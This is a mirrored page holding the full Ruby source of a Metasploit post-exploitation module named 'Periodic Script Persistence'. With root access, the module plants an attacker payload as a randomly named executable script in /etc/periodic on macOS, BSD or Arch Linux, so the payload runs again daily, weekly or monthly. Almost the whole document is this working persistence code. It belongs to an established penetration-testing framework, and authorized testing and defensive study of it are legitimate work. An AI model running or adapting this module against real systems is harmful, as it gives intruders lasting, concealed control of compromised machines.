Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/persistence/periodic_script.rb
24756 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Exploit::EXE
12
include Msf::Exploit::Local::Persistence
13
include Msf::Exploit::Deprecated
14
moved_from 'exploits/multi/local/periodic_script_persistence'
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Periodic Script Persistence',
21
'Description' => %q{
22
This module will achieve persistence by writing a script to the /etc/periodic directory.
23
According to The Art of Mac Malware no such malware species persist in this manner (2024).
24
This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'gardnerapp',
29
'msutovsky-r7'
30
],
31
'References' => [
32
[
33
['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
34
['URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'],
35
['ATT&CK', Mitre::Attack::Technique::T1053_SCHEDULED_TASK_JOB]
36
]
37
],
38
'DisclosureDate' => '2012-04-01',
39
'Privileged' => true,
40
'DefaultTarget' => 1, # python is the most compatible across OSes
41
'Platform' => %w[bsd unix osx],
42
'Targets' => [
43
[ 'OSX', { 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Platform' => 'osx' } ],
44
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
45
[ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
46
[ 'Bsd', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'bsd' }]
47
],
48
'SessionTypes' => [ 'shell', 'meterpreter' ],
49
'Notes' => {
50
'Stability' => [CRASH_SAFE],
51
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
52
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
53
}
54
)
55
)
56
57
register_options([
58
OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
59
OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']),
60
])
61
62
deregister_options('WritableDir')
63
end
64
65
def check
66
periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
67
68
return CheckCode::Vulnerable "#{periodic} is writable" if writable? periodic
69
70
CheckCode::Safe "Unable to write to #{periodic}"
71
end
72
73
def write_periodic_script(payload_content)
74
periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
75
76
periodic_script_name = datastore['PERIODIC_SCRIPT_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(rand(6..13)) : datastore['PERIODIC_SCRIPT_NAME']
77
periodic_script = File.join(periodic_dir, periodic_script_name)
78
79
# we needed elevated privileges to create the file, so likely no need to sudo here
80
@clean_up_rc << "rm #{periodic_script}\n"
81
82
fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}") unless upload_and_chmodx(periodic_script, payload_content)
83
84
print_status "Succesfully wrote periodic script to #{periodic_script}."
85
end
86
87
def install_persistence
88
if target['Arch'] == ARCH_PYTHON
89
print_status 'Getting python version & path.'
90
91
python = cmd_exec('which python3 || which python2 || which python')
92
93
fail_with(Failure::PayloadFailed, 'Unable to find python version. ') if python.blank? || !file?(python)
94
95
print_good "Found python path #{python}"
96
97
payload_bin = "#!#{python}\n#{payload.encoded}"
98
elsif target['Arch'] == ARCH_CMD
99
payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n #{payload.encoded}"
100
else
101
payload_bin = generate_payload_exe
102
end
103
104
write_periodic_script payload_bin
105
end
106
end
107
108